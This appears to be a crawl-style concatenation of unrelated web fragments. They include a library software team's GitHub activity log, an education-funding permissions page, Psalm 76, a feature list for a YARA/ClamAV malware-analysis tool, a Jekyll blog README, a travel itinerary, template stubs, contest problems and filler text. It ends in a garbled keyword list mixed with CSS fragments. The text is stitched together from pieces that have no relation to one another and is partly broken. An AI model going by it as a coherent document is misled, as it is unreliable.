closed
by Kevin Reiss at 2022-02-01 13:52:05.Looks good. I like that by default it still only returns unsuppressed records, but it makes an exception for the barcode route.
head_ref_force_pushed
by None at 2022-02-01 12:36:59.referenced
by Kevin Reiss at 2022-02-01 13:52:04.merged
by Kevin Reiss at 2022-02-01 13:52:04.closed
by Kevin Reiss at 2022-02-01 13:52:05.head_ref_deleted
by Kevin Reiss at 2022-02-01 13:52:05.review_dismissed
by None at 2022-02-01 14:00:05.head_ref_force_pushed
by None at 2022-02-01 14:00:05.deployed
by None at 2022-02-01 16:14:16.referenced
by Christina Chortaria at 2022-02-01 16:37:38.merged
by Christina Chortaria at 2022-02-01 16:37:38.closed
by Christina Chortaria at 2022-02-01 16:37:38.head_ref_deleted
by Christina Chortaria at 2022-02-01 16:37:39.we update the availability response to include the temporary holding id as the temporarylibrary$temporarylocation following the temp locations indexing pattern. The response will look : example record http://localhost:3000/catalog/99122643653506421
{ "99122643653506421": { "22543249620006421": { "onreserve": "N", "location": "lewis$stacks", "label": "Lewis Library - Stacks", "statuslabel": "Available", "copynumber": null, "cdl": false, "templocation": false, "id": "22543249620006421" }, "lewis$res": { "onreserve": "Y", "location": "lewis$res", "label": "Lewis Library - Course Reserve", "statuslabel": "Unavailable", "copynumber": null, "cdl": false, "templocation": true, "id": "lewis$res" }, "22543249680006421": { "onreserve": "N", "location": "lewis$stacks", "label": "Lewis Library - Stacks", "statuslabel": "Unavailable", "copynumber": null, "cdl": false, "templocation": false, "id": "22543249680006421" } } }
Thank you @pmgreen !
mentioned
by Peter Green at 2022-02-01 22:17:48.subscribed
by Peter Green at 2022-02-01 22:17:48.labeled
by Kevin Reiss at 2022-02-01 22:51:58.If this collection won't index it will impact the index migration that we've scheduled for Monday.
Changed urgency to ASAP. See @hackartisan above and now 0 items have indexed for the site.
I found a 499 in the logs from this request. https://app.datadoghq.com/logs?query=service%3A%28dpul%20OR%20nginxplus%20OR%20figgy%20OR%20solr%29&context_event=AQAAAX612zbI9nBRNQAAAABBWDYxMnpiYkFBQkk5R2xxamU3RUd3QmY&event=&index=&stream_sort=desc&viz=&from_ts=1643728547853&to_ts=1643728548454&live=false
I'm not sure how that ended up showing as a 405. But this is an nginx error screen, not a rails error screen, which suggests that the problem happened between servers rather than in the application.
I have clicked reindex again and did not receive an error. There is a lot in the queue, though, so it will be a while.
Here's the story from more logs examination:
The job was enqueued at 9:15, 10:15, and 12:02. 2 of them are still on the queue but one was performed between 11:07 and 11:45 (ironically right before the last one was enqueued).
renamed
by Kim Leaman at 2022-02-01 15:26:14.assigned
by None at 2022-02-01 16:16:28.mentioned
by None at 2022-02-01 17:03:03.subscribed
by None at 2022-02-01 17:03:03.labeled
by None at 2022-02-01 17:03:14.labeled
by None at 2022-02-01 17:03:14.closed
by None at 2022-02-01 21:14:01.assigned
by James R. Griffin III at 2022-02-01 20:46:22.labeled
by James R. Griffin III at 2022-02-01 20:46:30.labeled
by James R. Griffin III at 2022-02-01 20:46:30.review_dismissed
by None at 2022-02-01 15:17:19.labeled
by None at 2022-02-01 15:50:25.labeled
by Eliot Jordan at 2022-02-01 20:46:55.labeled
by Eliot Jordan at 2022-02-01 20:47:22.labeled
by Eliot Jordan at 2022-02-01 19:55:31.assigned
by Eliot Jordan at 2022-02-01 19:55:31.closed
by Trey Pendragon at 2022-02-02 00:44:29.labeled
by Eliot Jordan at 2022-02-01 20:13:54.head_ref_force_pushed
by Eliot Jordan at 2022-02-01 22:24:18.head_ref_force_pushed
by Eliot Jordan at 2022-02-01 23:03:26.ready_for_review
by Eliot Jordan at 2022-02-01 23:04:50.referenced
by Trey Pendragon at 2022-02-02 00:44:29.merged
by Trey Pendragon at 2022-02-02 00:44:29.closed
by Trey Pendragon at 2022-02-02 00:44:29.head_ref_deleted
by Trey Pendragon at 2022-02-02 00:44:29.converted_note_to_issue
by Esmé Cowles at 2022-02-01 14:51:58.assigned
by Esmé Cowles at 2022-02-01 14:52:04.assigned
by Cliff Wulfman at 2022-02-01 14:56:07.renamed
by Kim Leaman at 2022-02-01 14:56:55.added_to_project
by Kim Leaman at 2022-02-01 14:57:54.moved_columns_in_project
by Kim Leaman at 2022-02-01 14:58:12.closed
by Kate Lynch at 2022-02-01 14:27:48.referenced
by Kate Lynch at 2022-02-01 14:27:48.merged
by Kate Lynch at 2022-02-01 14:27:48.closed
by Kate Lynch at 2022-02-01 14:27:49.head_ref_deleted
by Kate Lynch at 2022-02-01 14:27:49.assigned
by Hector Correa at 2022-02-01 16:17:49.closed
by James R. Griffin III at 2022-02-01 21:09:58.deployed
by None at 2022-02-01 20:04:27.referenced
by James R. Griffin III at 2022-02-01 21:09:57.merged
by James R. Griffin III at 2022-02-01 21:09:57.closed
by James R. Griffin III at 2022-02-01 21:09:58.head_ref_deleted
by James R. Griffin III at 2022-02-01 21:09:58.assigned
by Hector Correa at 2022-02-01 21:53:16.assigned
by Hector Correa at 2022-02-01 21:13:47.closed
by Bess Sadler at 2022-02-01 21:58:48.referenced
by Bess Sadler at 2022-02-01 21:58:48.merged
by Bess Sadler at 2022-02-01 21:58:48.closed
by Bess Sadler at 2022-02-01 21:58:48.head_ref_deleted
by Bess Sadler at 2022-02-01 21:58:49.ready_for_review
by Francis Kayiwa at 2022-02-01 01:42:01.review_requested
by Francis Kayiwa at 2022-02-01 01:42:09.review_requested
by Francis Kayiwa at 2022-02-01 01:42:12.head_ref_force_pushed
by Francis Kayiwa at 2022-02-01 02:50:56.head_ref_force_pushed
by Francis Kayiwa at 2022-02-01 14:58:12.head_ref_force_pushed
by Francis Kayiwa at 2022-02-01 15:27:43.head_ref_force_pushed
by Francis Kayiwa at 2022-02-01 15:39:33.head_ref_force_pushed
by Francis Kayiwa at 2022-02-01 16:25:39.referenced
by Francis Kayiwa at 2022-02-01 18:05:11.merged
by Francis Kayiwa at 2022-02-01 18:05:11.closed
by Francis Kayiwa at 2022-02-01 18:05:11.head_ref_deleted
by Francis Kayiwa at 2022-02-01 18:05:12.closes #2665
Looks good.
referenced
by Alicia Cozine at 2022-02-01 18:05:20.merged
by Alicia Cozine at 2022-02-01 18:05:20.closed
by Alicia Cozine at 2022-02-01 18:05:20.head_ref_deleted
by Alicia Cozine at 2022-02-01 18:05:20.renamed
by None at 2022-02-01 18:00:18.closed
by Francis Kayiwa at 2022-02-01 18:05:30.referenced
by Francis Kayiwa at 2022-02-01 18:05:29.merged
by Francis Kayiwa at 2022-02-01 18:05:29.closed
by Francis Kayiwa at 2022-02-01 18:05:30.head_ref_deleted
by Francis Kayiwa at 2022-02-01 18:05:32.closed
by Francis Kayiwa at 2022-02-01 18:06:08.referenced
by Francis Kayiwa at 2022-02-01 18:06:08.merged
by Francis Kayiwa at 2022-02-01 18:06:08.closed
by Francis Kayiwa at 2022-02-01 18:06:08.head_ref_deleted
by Francis Kayiwa at 2022-02-01 18:06:09.closed
by Francis Kayiwa at 2022-02-01 18:09:21.At the level of an individual role, refactoring the way we maintain role dependencies will require:
For each role dependency we remove from the meta/main.yml
file of Role A:
- [ ] ensure the README for Role A lists the dependency
- [ ] add the dependency to the molecule/default/converge.yml
file for Role A, so it runs in tests
- [ ] add the dependency to every playbook that runs Role A
- [ ] until all roles are converted, add the dependency to meta/main.yml
for any other role that lists Role A as a dependency, and to any playbooks that run those roles
I updated the ADR to reflect the agreement we would be making if/when we merge this PR. The change is still under discussion, though!
Related to #2469.
assigned
by Alicia Cozine at 2022-02-01 18:12:37.closed
by Kevin Reiss at 2022-02-01 19:55:22.review_requested
by Alicia Cozine at 2022-02-01 19:51:55.referenced
by Kevin Reiss at 2022-02-01 19:55:22.merged
by Kevin Reiss at 2022-02-01 19:55:22.closed
by Kevin Reiss at 2022-02-01 19:55:22.head_ref_deleted
by Kevin Reiss at 2022-02-01 19:55:23.moved to postgresql https://github.com/pulibrary/princeton_ansible/blob/main/group_vars/researchdata/researchdata_prod.yml#L5
closed
by Francis Kayiwa at 2022-02-01 20:23:28.closed
by Francis Kayiwa at 2022-02-01 20:32:10.closed
by Francis Kayiwa at 2022-02-01 20:32:44.closed
by Francis Kayiwa at 2022-02-01 20:33:24.Oh, I also re-ordered the groups for the solr8*
entries, putting production
ahead of staging
(which is alphabetical, and also was the way the previous groups were ordered. Then I realized that a lot of groups were listed in the other order, and I stopped making this change. Again, I'm not sure if we want complete consistency, or just clarity and iterative improvement.
review_requested
by Alicia Cozine at 2022-02-01 20:18:37.renamed
by Kate Lynch at 2022-02-01 20:48:00.RB == Rare Books
review_requested
by Alicia Cozine at 2022-02-01 21:03:26.Hmmm. Failure this time was:
TASK [solr : Expand Solr.] *****************************************************
fatal: [instance]: FAILED! => {"changed": false, "msg": "Failed to find handler for \"/root/solr-7.7.2.tgz\". Make sure the required command to extract the file is installed. Command \"/usr/bin/unzip\" could not handle archive. Command \"/bin/tar\" could not handle archive."}
Update: this was due to network issues - the previous task did not download the entire file, so tar could not unarchive it.
Related to #2496 ? Related to #1620 and #2706 ?
add datadog role to fpul. This closes #2088
review_requested
by Francis Kayiwa at 2022-02-01 20:39:10.We will use the catalog-productionv2 to create a new catalog-qa collection.
deployed
by None at 2022-02-01 14:01:35.deployed
by None at 2022-02-01 14:02:01.deployed
by None at 2022-02-01 14:04:06.closed
by Christina Chortaria at 2022-02-01 14:32:33.The catalog-production configset is used by the DSS app.
Blocked by #258
close in favor of #258
unlabeled
by None at 2022-02-01 14:25:16.closed
by None at 2022-02-01 14:42:40.referenced
by Christina Chortaria at 2022-02-01 16:32:06.merged
by Christina Chortaria at 2022-02-01 16:32:06.closed
by Christina Chortaria at 2022-02-01 16:32:06.head_ref_deleted
by Christina Chortaria at 2022-02-01 16:32:07.assigned
by None at 2022-02-01 16:50:26.referenced
by Christina Chortaria at 2022-02-01 17:11:20.merged
by Christina Chortaria at 2022-02-01 17:11:20.closed
by Christina Chortaria at 2022-02-01 17:11:20.head_ref_deleted
by Christina Chortaria at 2022-02-01 17:11:21.referenced
by None at 2022-02-01 19:00:16.merged
by None at 2022-02-01 19:00:16.closed
by None at 2022-02-01 19:00:16.head_ref_deleted
by None at 2022-02-01 19:00:17.referenced
by None at 2022-02-01 19:02:10.merged
by None at 2022-02-01 19:02:10.closed
by None at 2022-02-01 19:02:10.head_ref_deleted
by None at 2022-02-01 19:02:11.Should run bundle exec cap solr8-staging configset:delete[catalog-production]
& bundle exec cap solr8-production configset:delete[catalog-production]
after this goes live in production.
assigned
by None at 2022-02-01 14:15:09.unassigned
by None at 2022-02-01 14:16:09.labeled
by Eliot Jordan at 2022-01-31 23:43:36.assigned
by Eliot Jordan at 2022-02-01 19:52:19.closed
by Trey Pendragon at 2022-02-02 00:44:51.referenced
by Trey Pendragon at 2022-02-02 00:44:51.merged
by Trey Pendragon at 2022-02-02 00:44:51.closed
by Trey Pendragon at 2022-02-02 00:44:52.head_ref_deleted
by Trey Pendragon at 2022-02-02 00:44:52.


View your sub-services
| Sub-service | Access |
|---|---|
| MYESF Admin | Yes |
| NFF Admin | No |
| View as Provider | No |
| Download Reports | No |
| Download SCD Reports | No |
| Allocations Administrator 1416 | No |
| Allocations Administrator 1619 | No |
| Allocations Administrator DSG | No |
| Allocations Administrator GAG | No |
| Allocations Administrator NMSS | No |
| Allocations Administrator PPG | No |
| Allocations Administrator PSG | No |
Manage your sub-services
If you are an approver
Manage your sub-services in your DfE Sign- in account (opens in new tab).
You can also manage sub-services for other users in your organisation.
If you are not an approver
Email an approver at your organisation to request a sub- service for your account.
User sub-services and permissions
These are the user sub-services available in the Manage your education and skills funding service.
Please note: The below accordion is of the old design. The service includes the latest version.MYESF admin
- This allows you to:
- • Carry out system level administrative tasks
NFF admin
- This allows you to:
- • Carry out system level administrative tasks
View as provider
- This allows you to:
- • Impersonate a provider
Download reports
- This allows you to:
- • Download and view the MYESF overall summary
- • Download and view the apprenticeship levy agreements
Download SCD reports
- This allows you to:
- • Download and view the SCD in-scope providers
- • Download and view the SCD providers that have not declared their subcontractors
Allocations administer 1416
- This allows you to:
- • Manage allocations data
Allocations administer 1619
- This allows you to:
- • Manage allocations data
Allocations administer DSG
- This allows you to:
- • Manage allocations data
Allocations administer GAG
- This allows you to:
- • Manage allocations data
Allocations administer NMSS
- This allows you to:
- • Manage allocations data
Allocations administer PPG
- This allows you to:
- • Manage allocations data
Allocations administer PSG
- This allows you to:
- • Manage allocations data


Research and analysis
How teams within schools support headteachers in achieving an improved culture of behaviour management.
PDF , 233KB , 16 pages
If you use assistive technology (such as a screen reader) and need a version of this document in a more accessible format, please email<EMAIL_ADDRESS>. Please tell us what format you need. It will help us if you say what assistive technology you use.
This research arose from work carried out in improving behaviour across a cluster of 4 primary schools and a high school in a deprived area, near Birmingham.
These schools were in receipt of a behaviour improvement grant and focused on achieving the following outcomes for their community:
Many of the schools’ existing behaviour management systems reacted to crisis situations, rather than dealing with the cause of the situations many children and families found themselves in. In response to this, specific pastoral teams were formed in each school to develop new systems and approaches to secure the outcomes identified above.


76
Who Can Stand Before You?
TO THE CHOIRMASTER: WITH STRINGED INSTRUMENTS. A PSALM OF ASAPH. A SONG.
1 In Judah God is known;
his name is great in Israel.
2 His abode has been established in Salem,
his dwelling place in Zion.
3 There he broke the flashing arrows,
the shield, the sword, and the weapons of war.
Selah
4 Glorious are you, more majestic
than the mountains of prey.
5 The stouthearted were stripped of their spoil;
they sank into sleep;
all the men of war
were unable to use their hands.
6 At your rebuke, O God of Jacob,
both rider and horse lay stunned.
7 But you, you are to be feared!
Who can stand before you
when once your anger is roused?
8 From the heavens you uttered judgment;
the earth feared and was still,
9 when God arose to establish judgment,
to save all the humble of the earth.


Analysis malicious files in deep with clamscan and yara rules.
Features:
- Clamscan extracts embedded files and makes json report.
- Clamscan check password on zip encrypted.
- Extract file from URL with THUG.
- Analyse json report and make json trees to consolidate informations.
- Extract patterns (pattern.db) with the ability to use the yara rules.
- Scan embedded files and root file with yara rules: 2 levels
- Compute risk score .
- Extract IOC on yara rules match.
- Extract text from image by OCR.
- Decompile JAR & CLASS java with procyon.
- Check VirusTotal & INTEZER & Hybrid Analysis & APPANY.RUN & OTX & XFORCE & MISP
- Create PNG graph for fast analysis.
- Output result tree json in a file.


March, 2016: If you're on an old version of Jekyll Now and run into a) build warnings or b) syntax highlighting issues caused by Jekyll 3 and GitHub Pages updates, just
✨ update your _config.yml✨ and you'll be set!
Jekyll is a static site generator that's perfect for GitHub hosted blogs (Jekyll Repository)
Jekyll Now makes it easier to create your Jekyll blog, by eliminating a lot of the up front setup.
In a few minutes you'll be set up with a minimal, responsive blog like the one below giving you more time to spend on writing epic blog posts!
Fork this repo, then rename the repository to yourgithubusername.github.io.
Your Jekyll blog will often be viewable immediately at https://yourgithubusername.github.io (if it's not, you can often force it to build by completing step 2)
Enter your site name, description, avatar and many other options by editing the _config.yml file. You can easily turn on Google Analytics tracking, Disqus commenting and social icons here too.
Making a change to _config.yml (or any file in your repository) will force GitHub Pages to rebuild your site with jekyll. Your rebuilt site will be viewable a few seconds later at https://yourgithubusername.github.io - if not, give it ten minutes as GitHub suggests and it'll appear soon
There are 3 different ways that you can make changes to your blog's files:
- Edit files within your new username.github.io repository in the browser at GitHub.com (shown below).
- Use a third party GitHub content editor, like Prose by Development Seed. It's optimized for use with Jekyll making markdown editing, writing drafts, and uploading images really easy.
- Clone down your repository and make updates locally, then push them to your GitHub repository.
Edit /_posts/2014-3-3-Hello-World.md
to publish your first blog post. This Markdown Cheatsheet might come in handy.
You can add additional posts in the browser on GitHub.com too! Just hit the + icon in
/_posts/
to create new content. Just make sure to include the front-matter block at the top of each new blog post and make sure the post's filename is in this format: year-month-day-title.md
gem install github-pages
This mirrors the plug-ins used by GitHub Pages on your local machine including Jekyll, Sass, etc.git clone https://github.com/yourusername/yourusername.github.io.git
jekyll serve
I've created a more detailed walkthrough, Build A Blog With Jekyll And GitHub Pages over at the Smashing Magazine website. Check it out if you'd like a more detailed walkthrough and some background on Jekyll.
It covers:
✓ Command-line free fork-first workflow, using GitHub.com to create, customize and post to your blog
✓ Fully responsive and mobile optimized base theme (Theme Demo)
✓ Sass/Coffeescript support using Jekyll 2.0
✓ Free hosting on your GitHub Pages user site
✓ Markdown blogging
✓ Syntax highlighting
✓ Disqus commenting
✓ Google Analytics integration
✓ SVG social icons for your footer
✓ 3 http requests, including your avatar
✘ No installing dependencies ✘ No need to set up local development
✘ No configuring plugins
✘ No need to spend time on theming
✘ More time to code other things ... wait ✓!
Open an Issue and let's chat!
You can use the Quick Start workflow with other themes that are set up to be forked too! Here are some of my favorites:
Issues and Pull Requests are greatly appreciated. If you've never contributed to an open source project before I'm more than happy to walk you through how to create a pull request.
You can start by opening an issue describing the problem that you're looking to resolve and we'll go from there.
I want to keep Jekyll Now as minimal as possible. Every line of code should be one that's useful to 90% of the people using it. Please bear that in mind when submitting feature requests. If it's not something that most people will use, it probably won't get merged.


Welcome to Collaborative Data Analysis for DFT Benchmarking
Here is a collaborative web platform hosted by the Materials Science and Engineering Division at NIST for the Materials Genome Initiative to benchmark DFT calculations in VASP and DMol3, from where you can obtain material properties at infinite k-points density and use a Pade extrapolation fit to interactively benchmark your data. Hover over elements in red in the periodic table to view the Volume per atom (A^3), Bulk Modulus (GPa) and its pressure derivative estimated at an infinite k-points density by the Pade extrapolation, each in their fcc, bcc and hcp phases.


WINNER members say that Song Min Ho has this fatal flaw
by sl278Song Min Ho apparently has one fatal flaw that his fellow members were quick to point out on the November 5 broadcast of JTBC's 'Idol Room.'
The group appeared on the show to promote their new song "SOSO" when the members voted Min Ho as the king of tardiness. Kim Jin Woo also accused Min Ho of eating his yogurt, eliciting laughter as well.
However, Song Min Ho clarified that stealing the yogurt was a misunderstanding and relayed that he was never late to a broadcast of his reality show tapings at least, apologizing for his flaws.


Travel
- Newark Airport
- Flight JetBlue-9274 Gate C
- Departure: 9:07am Arrival 1:49pm Gate B
- Boarding 8:40am
- Tickets: 197.87 each x2
- Tax: 24.34
- Total: 420.08
* This does not cover any baggage fees.
- Lyft Pickup Gate B
- Driver: Steven
- Total: 17.87
Hotel
- The Paramount Hotel
- Address: 808 SW Taylor St, Portland, OR 97205
- Phone:<PHONE_NUMBER>
- Check In: 3pm
- Check Out: 11am
- Deluxe Room for 7 Nights
- 151.99 per night
- Tax: 92.84
- Total: 1,156.77


{% extends "base.html" %} {% block headtitle %}List of articles{% endblock %} {% block main %}
No articles yet in this language, create one.


This is a simple script that could be used to dynamically create a basic quiz or an online test or an exam app etc. The output elements and result display adjust automatically based on the number of questions fed into the quiz/test.
Visit the blog page with all details of this project here (opens new tab)
or watch the 60-second video below to learn about the main features:
/ / / / / / / / / / / / / / / / / / / / / / / / / / / /
This is a video placeholder.
The actual video is coming soon!
/ / / / / / / / / / / / / / / / / / / / / / / / / / / /
If you'd like to keep the 120-day coding challenge as a source of ideas/inspiration, give it a star on GitHub!


TARGETING AND MEASURING SAMPLING ACTIVITES
Sampler gives brands access to millions of consumer profiles by partnering with high-value online communities. Consumers fill out a profile to get product samples, making it easy for brands to target delivery on specific attributes. Brands can then track in real time the performance of their sampling campaign to maximize ROI.


|
|
P
|
R
|
O
|
G
|
R
|
A
|
M
|
M
|
I
|
N
|
G
|
|
C
|
O
|
M
|
P
|
E
|
T
|
I
|
T
|
I
|
O
|
N
|
|
Code
Warrior Introduction
|
|
|
|
Task Description
Computer
programmers must learn some rudimentary social skills, even if their interpersonal
interaction is constrained by digital media. You should write a program to introduce
your team to the judges.
Program Input
Your
program should print a prompt for the judge to enter his or her name like the
bold face type below. Then it should read the name from the keyboard input.
You may assume that the judge will enter first name only, so you don't have to
worry about spaces in the input.
Please enter your name: Moldwart
Program Output
After
reading the judge's name, your program must complete the inroduction by (1) greeting
the judge, and (2) displaying the name of your school, your mascot, and the names
of each team member. You may use the format below as an example:
Hello, Moldwart!
We are Athens High School Lions: Mike Davis, Anh Nguyen, and Isok Patel.


The white-rumped vulture (Gyps bengalensis) is an Old World vulture native to South and Southeast Asia. It has been listed as Critically Endangered on the IUCN Red List since 2000, as the population severely declined. White-rumped vultures die of kidney failure caused by diclofenac poisoning.
3
OctOf course, now, there are varying levels of factors (taxes, policies, grants, credits, markets, niche, carbon accounting...) that affect the bottom line. But for most businesses, they won't do it unless it has a business model with a clear pay-back, over a known time period.


Default media receiver example
Music
Cast media
release
Pause
Play
Stop
TV Show
Cast media
release
Pause
Play
Stop
Movie
Cast media
release
Pause
Play
Stop
Photo
Cast media
release
Pause
Play
Stop


{%include "head.twig" %}
My name is Curtis Stanier. I am a graduate of the University of Manchester.
I love technology and all things digital. I like finding and learning about ways that businesses can use technology to improve their operations.
Want to know more? Feel free to get in touch using any of the methods on the Contact Page.
{%include "social.html" %}


Thousands of wedding venues at your fingertips
Weddingstr gives you a simple and easy platform to find information on possible wedding venues and contact their owners directly.
{{ page.excerpt }}
This is where Weddingstr really shines!
Weddingstr gives you a simple and easy platform to find information on possible wedding venues and contact their owners directly.
Offering an intuitive interface to find the perfect venue, browse our cities and find that special place for your special day.
Find out all the information you need such as availability, pricing and extra features they may offer. There's also a review section to see what past couples thought about the venue.
With our built-in messaging service, contacting the venue is as easy as messaging family,meaning you have a direct channel with the venue's organisers.
If you have a space or venue that can host between 50 - 500 people
then joining the Weddingstr network is just as easy!
These are just a few things that we can offer you:
With Weddingstr hoping to bridge the gap between adventurous newly-weds and exciting venues, you're venue will have exposure across the globe.
Future clients will be able to find your venue directly via their phone, likewise you'll be able to contact them through our messaging service.
Through our simple and clean interface you can update your venues information, add new features, all on-the-fly and directly from your mobile.
Weddingstr also offers a helpful calendar that lays out the year, allowing you to track both current and prospective clients with ease.
Just click the button below and find out how easy it is to join the Weddingstr network.
A Concept Idea by
Ant Villa Dean
{{ site.description | markdownify }}


MyCocktail is an application to build mashup easily and it's being extended by
Omelette Project
.
Developed by Logica Spain
Powered by Afrous


Before Change
if repo_name == "xgboost":
if not _is_latest_xgboost_version(repo_version):
logging.warning(
"There is a more up to date SageMaker XGBoost image. "
"To use the newer image, please set "repo_version"="
""%s". For example:\n"
"\tget_image_uri(region, "xgboost", "%s").",
XGBOOST_LATEST_VERSION,
XGBOOST_LATEST_VERSION,
)
if repo_version in [XGBOOST_VERSION_0_90] + _generate_version_equivalents(
XGBOOST_VERSION_0_90_1
):
After Change
return "{}/{}:{}".format(registry(region_name, repo_name), repo_name, repo_version)
if "-" not in repo_version:
xgboost_version_matches = [
version
for version in XGBOOST_SUPPORTED_VERSIONS
if repo_version == version.split("-")[0]
]
if xgboost_version_matches:
// Assumes that XGBOOST_SUPPORTED_VERSION is sorted from oldest version to latest.
// When SageMaker version is not specified, we use the oldest one that matches
// XGBoost version for backward compatibility.


| espn_getendpoint {ffscrapr} | R Documentation |
This function is used to call the ESPN Fantasy API for league-based endpoints.
espn_getendpoint(conn, ..., x_fantasy_filter = NULL)
conn |
a connection object created by |
... |
Arguments which will be passed as "argumentname = argument" in an HTTP query parameter |
x_fantasy_filter |
a JSON-encoded character string that specifies a filter for the data |
The ESPN Fantasy API is undocumented and this should be used by advanced users familiar with the API.
It chooses the correct league endpoint based on the year (eg leagueHistory for <2018), checks the x_fantasy_filter for valid JSON input, builds a url with any optional query parameters, and executes the request with authentication and rate limiting.
HTTP query parameters (i.e. arguments to ...) are Case Sensitive.
Please see the vignette for more on usage.
A list object containing the query, response, and parsed content.
vignette("espn_getendpoint")
espn_getendpoint_raw


|
c++ library collection
|
This class implements client sockets (also called just "sockets"). More...
#include <socket.h>
Public Types | |
| typedef std::uint32_t | timeout_t |
Public Member Functions | |
| virtual | ~socket ()=default |
| virtual const inetaddress & | get_local_address () const noexcept=0 |
| Get local address with local ip address and the tcp input port. More... | |
| virtual const inetaddress & | get_remote_address () const noexcept=0 |
| Get remote address with remote ip address and the tcp output stream. More... | |
| virtual base::io::inputstream & | get_inputstream () const noexcept=0 |
| Get the instance of the socket input stream, which refers to the socket file descriptor access. More... | |
| virtual base::io::outputstream & | get_outputstream () const noexcept=0 |
| Get the instance of the socket output stream, which refers to the socket file descriptor access. More... | |
| virtual void | set_interrupted (bool interrupted) noexcept=0 |
| Set the socket as interrupted. More... | |
| virtual bool | get_interrupted () const noexcept=0 |
| virtual void | set_timeout (timeout_t timeout) noexcept=0 |
| Set the socket timeout. More... | |
| virtual timeout_t | get_timeout () const noexcept=0 |
| Get the socket timeout. More... | |
Static Public Attributes | |
| static constexpr timeout_t | DEFAULT_TIMEOUT = 3000 |
| default read timeout in milliseconds More... | |
| static constexpr timeout_t | DEFAULT_READ_BLOCKING_TIME = 100 |
| default read time until refresh in milliseconds More... | |
| static constexpr timeout_t | DEFAULT_WRITE_BLOCKING_TIME = 100 |
| default write time until refresh in milliseconds More... | |
This class implements client sockets (also called just "sockets").
A socket is an endpoint for communication between two machines. The actual work of the socket is performed by an instance of the platform specific implementation class.
| typedef std::uint32_t devfix::net::socket::timeout_t |
|
virtualdefault |
|
pure virtualnoexcept |
Get the instance of the socket input stream, which refers to the socket file descriptor access.
|
pure virtualnoexcept |
|
pure virtualnoexcept |
Get local address with local ip address and the tcp input port.
|
pure virtualnoexcept |
Get the instance of the socket output stream, which refers to the socket file descriptor access.
|
pure virtualnoexcept |
Get remote address with remote ip address and the tcp output stream.
|
pure virtualnoexcept |
Get the socket timeout.
|
pure virtualnoexcept |
Set the socket as interrupted.
If set to true, any read call returns after the read blocking time expired and throws an interruptedexception. The flag must be cleared (set to false) by hand.
| interrupted | if true, socket should get interrupted |
|
pure virtualnoexcept |
Set the socket timeout.
If a call of read() on the inputstream takes longer than this timeout, an timeoutexception is thrown.
| timeout | for reading |
|
static |
default read time until refresh in milliseconds
|
static |
default read timeout in milliseconds
|
static |
default write time until refresh in milliseconds


|
134. Centroid Time Limit: 0.2 sec, Memory Limit: 1 MB You are given an undirected connected graph, with
N vertices and N-1 edges (a tree). You must find the
centroid(s) of the tree. Input The first line of the input contains the integer number N (1<=N<=16 000). The next N-1 lines will contain two integers, a and b, separated by blanks, meaning that there exists an edge between vertex a and vertex b. Output You should print two lines. The first line should contain the minimum value associated to the centroid(s) and the number of centroids. The second line should contain the list of vertices which are centroids, sorted in ascending order. Sample Input 7 1 2 2 3 2 4 1 5 5 6 6 7 Sample Output 3 1 1 | ||||||
|


PARAGRAPH NOT INSIDE DIV
I am a paragraph with a class
I am a paragraph with an ID
YOLO humblebrag freegan, palo santo four loko craft beer lomo before they sold out distillery flannel deep v tumeric. Helvetica kombucha cray pour-over live-edge actually bushwick hoodie gochujang snackwave trust fund. Sartorial everyday carry tumblr meh palo santo whatever. Single-origin coffee VHS lomo pitchfork small batch lumbersexual. Lo-fi raclette helvetica neutra. Unicorn lumbersexual live-edge, twee succulents poke synth four dollar toast keytar pitchfork. Selvage distillery irony health goth. Neutra man braid blog 90's fashion axe farm-to-table copper mug four dollar toast. Street art PBR&B knausgaard vape humblebrag ugh, kogi before they sold out put a bird on it adaptogen.
Single-origin coffee art party organic brunch sustainable drinking vinegar pitchfork kale chips disrupt. Fanny pack pork belly godard butcher woke next level neutra mustache. Pug venmo semiotics, cred fam flexitarian squid adaptogen. Cronut literally tacos, subway tile mixtape trust fund cred blog kombucha fanny pack art party letterpress church-key fam. Organic actually gentrify, letterpress air plant tattooed four dollar toast. Banh mi knausgaard listicle sriracha.
I am the second paragraph inside this div
PARAGRAPH NOT INSIDE A DIV
Keytar four dollar toast seitan hot chicken, vice man braid kitsch gochujang brunch. Tbh readymade keffiyeh, art party distillery coloring book ethical ennui VHS quinoa roof party. Yuccie chambray semiotics kale chips squid activated charcoal banjo coloring book normcore. Vegan pabst PBR&B, authentic pug snackwave mixtape kinfolk tacos. Butcher aesthetic gastropub, blog freegan microdosing helvetica tilde hammock. Raclette chartreuse tousled, meggings synth marfa biodiesel austin narwhal coloring book street art direct trade pok pok small batch occupy. Coloring book occupy hella 90's bitters dreamcatcher.
One last paragraph here!
I am a link to facebook I am another link to facebookPARAGRAPH NOT INSIDE A DIV


Who am I, you ask?
Hi! I am an MS-CSE student at the Language Technology Research Centre, International Institute of Information Technology, Hyderabad, India. I work in the area of natural language processing (NLP). I am particularly interested in machine learning for processing and understanding of natural language text.
I joined IIIT-H in December 2014. I work as a Research Assistant in ILMT project. I am advised by Dr. Manish Shrivastava.
Contact Details
Mailing Address: A3-107, Vindhya-A3, LTRC, IIIT-H, Gachibowli, Hyderabad, IndiaPhone: +91 78939 40615
Email: irshad [dot] bhat [at] research [dot] iiit [dot] ac [dot] in


{% extends "base.html" %} {% import "bootstrap/wtf.html" as wtf %} {% import "bootstrap/fixes.html" as fixes %} {% block container_content %}


Would you like to take a quiz? Your time remaining will be reduced by 10 seconds for each incorrect answer.
Your final score is .
Enter initials: Submit


Create a new election
Title:
Author User Adress:
Time Limit (in minutes):
Candidates, comma seperated:
Voter addresses, comma seperated:
Make Election


intervention evaluation process data children methods used activity implementation study Health WAVES trial school delivery physical complex dimensions programme {border-style fidelity px;} #ffffff;} health trials collection delivered Process framework logbooks information observation prevention research However, Number obesity staff teachers approach controlled observations randomised assessed completed different interventions researchers Research asked checklists childhood developed qualitative questionnaires range session Physical Qualitative Villa assessment contextual ensure healthy key literature observed outcomes px; quality school-based schools {font-family (Professor Activity Logbooks Observations Public Steckler aspects assess cluster collected complete component components comprehensive designed enable font-size number participants presented primary promotion Behav Implementation Linnan Quality Schneider University activities delivering design did double; evaluating evaluations experiences focus guidance included need outlined public questions reporting team term terms using variety workshop Community Cooking Dane Data Dose Fidelity Figure Int Nutr Programme Proportion Questionnaires RE-AIM Recruitment School Table Whilst Year assessing border-color border-width day delivery. described development encourage evaluation, feedback fruit future impact importance influences intervention. involved logbook multiple parents participant possible potential prior processes programme, programme. received relation reported solid; targeting wider workshops {font-style {font-weight Additional Context Educ Evaluation London Observation Participant Program Reach Time West aged 